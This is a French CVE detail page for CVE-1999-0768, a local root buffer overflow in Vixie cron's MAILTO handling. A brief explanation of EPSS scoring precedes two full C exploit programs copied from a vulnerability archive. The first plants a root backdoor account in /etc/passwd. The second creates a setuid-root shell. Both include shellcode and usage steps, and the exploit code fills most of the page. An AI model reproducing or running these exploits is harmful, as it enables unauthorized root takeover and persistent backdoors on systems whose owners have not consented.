CVE-1999-0768 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/602/info The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack. /* vixie-crontab-3.0.1 cron_popen() exploit by Akke - 30-8-99 Akke <[email protected]> how to compile ? gcc crontab_exploit.c -o crontab_exploit how to use ? ./crontab_exploit crontab ./CrOn wait 1 minute crontab -r su -l cronexpl (password = exploited) (this is root account) Greets to: bugtraq */ #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/ce"; #define max_buf_len 1000 #define CronFile "CrOn" #define RootScript "/tmp/cron_root" #define CronEchoScript "/tmp/cron_echo" #define chmod_bin "/bin/chmod" int main() { char crontab_file_string[max_buf_len]; char temp[max_buf_len]; FILE *fp; int i; strcpy(temp, "T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ " "T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ " "_ _ _ _ _ _ _ _ _ _ _ _ _ _ "); sprintf(temp,"%s%s",temp,shellcode); sprintf(crontab_file_string,"MAILTO=%s\n",temp); strcat(crontab_file_string,"0"); for (i=1;i<60;i++) sprintf(crontab_file_string,"%s,%d",crontab_file_string,i); sprintf(temp," * * * * %s\n",CronEchoScript); strcat(crontab_file_string,temp); if ((fp = fopen(CronFile,"w+")) != NULL) { fprintf(fp,"%s",crontab_file_string); fclose(fp); } if ((fp = fopen(CronEchoScript,"w+")) != NULL) { fprintf(fp,"#!/bin/sh\necho Wrong window!"); fclose(fp); sprintf(temp,"%s 777 %s",chmod_bin,CronEchoScript); system(temp); } if ((fp = fopen(RootScript,"w+")) != NULL) { #define login "cronexpl" #define passw "1T8uqGnJZ0OsQ" /* "exploited" */ fprintf(fp,"#!/bin/sh\necho %s:%s:0:0::/root:/bin/bash >> /etc/passwd\nrm %s %s %s",login,passw,CronEchoScript,"/tmp/ce",RootScript); fclose(fp); sprintf(temp,"%s 777 %s",chmod_bin,RootScript); system(temp); } if ((fp = fopen("/tmp/ce","w+")) != NULL) { fprintf(fp,"#!/bin/sh\n%s\n",RootScript); fclose(fp); sprintf(temp,"%s 777 %s",chmod_bin,"/tmp/ce"); system(temp); } exit(0); }

// source: https://www.securityfocus.com/bid/602/info The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack. /* * VixieCron 3.0 Proof of Concept Exploit - w00w00 * * Not only does Paul give up root with this one, but with his creative use of * strtok() he actually ends up putting the address of our shellcode in eip. * * Many Thanks: Cheez Wiz, Sangfroid * Thanks: stran9er, Shok * Props: attrition.org,mea_culpa,awr,minus,Int29,napster,el8.org,w00w00 * Drops: Vixie, happyhacker.org, antionline.com, <insert your favorite web \ * defacement group here> * * Hellos: pm,cy,bm,ceh,jm,pf,bh,wjg,spike. * * [email protected] * */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <pwd.h> char shellcode[] = "\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb" "\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e" "\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff" "\xff/tmp/w00w00"; int main(int argc,char *argv[]) FILE *cfile,*tmpfile; struct stat sbuf; struct passwd *pw; int x; pw = getpwuid(getuid()); chdir(pw->pw_dir); cfile = fopen("./cronny","a+"); tmpfile = fopen("/tmp/w00w00","a+"); fprintf(cfile,"MAILTO="); for(x=0;x<96;x++) fprintf(cfile,"w00w00 "); fprintf(cfile,"%s",shellcode); fprintf(cfile,"\n* * * * * date\n"); fflush(cfile); fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash %s\nchmod 4755 %s/bash\n", pw->pw_dir,pw->pw_dir); fflush(tmpfile); fclose(cfile),fclose(tmpfile); chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH); if(!(fork())) { execl("/usr/bin/crontab","crontab","./cronny",(char *)0); } else { printf("Waiting for shell be patient....\n"); for(;;) { if(!(stat("./bash",&sbuf))) { break; } else { sleep(5); } } if((fork())) { printf("Thank you for using w00warez!\n"); execl("./bash","bash",(char *)0); } else { remove("/tmp/w00w00"); sleep(5); remove("./bash"); remove("./cronny"); execl("/usr/bin/crontab","crontab","-r",(char *)0); } } }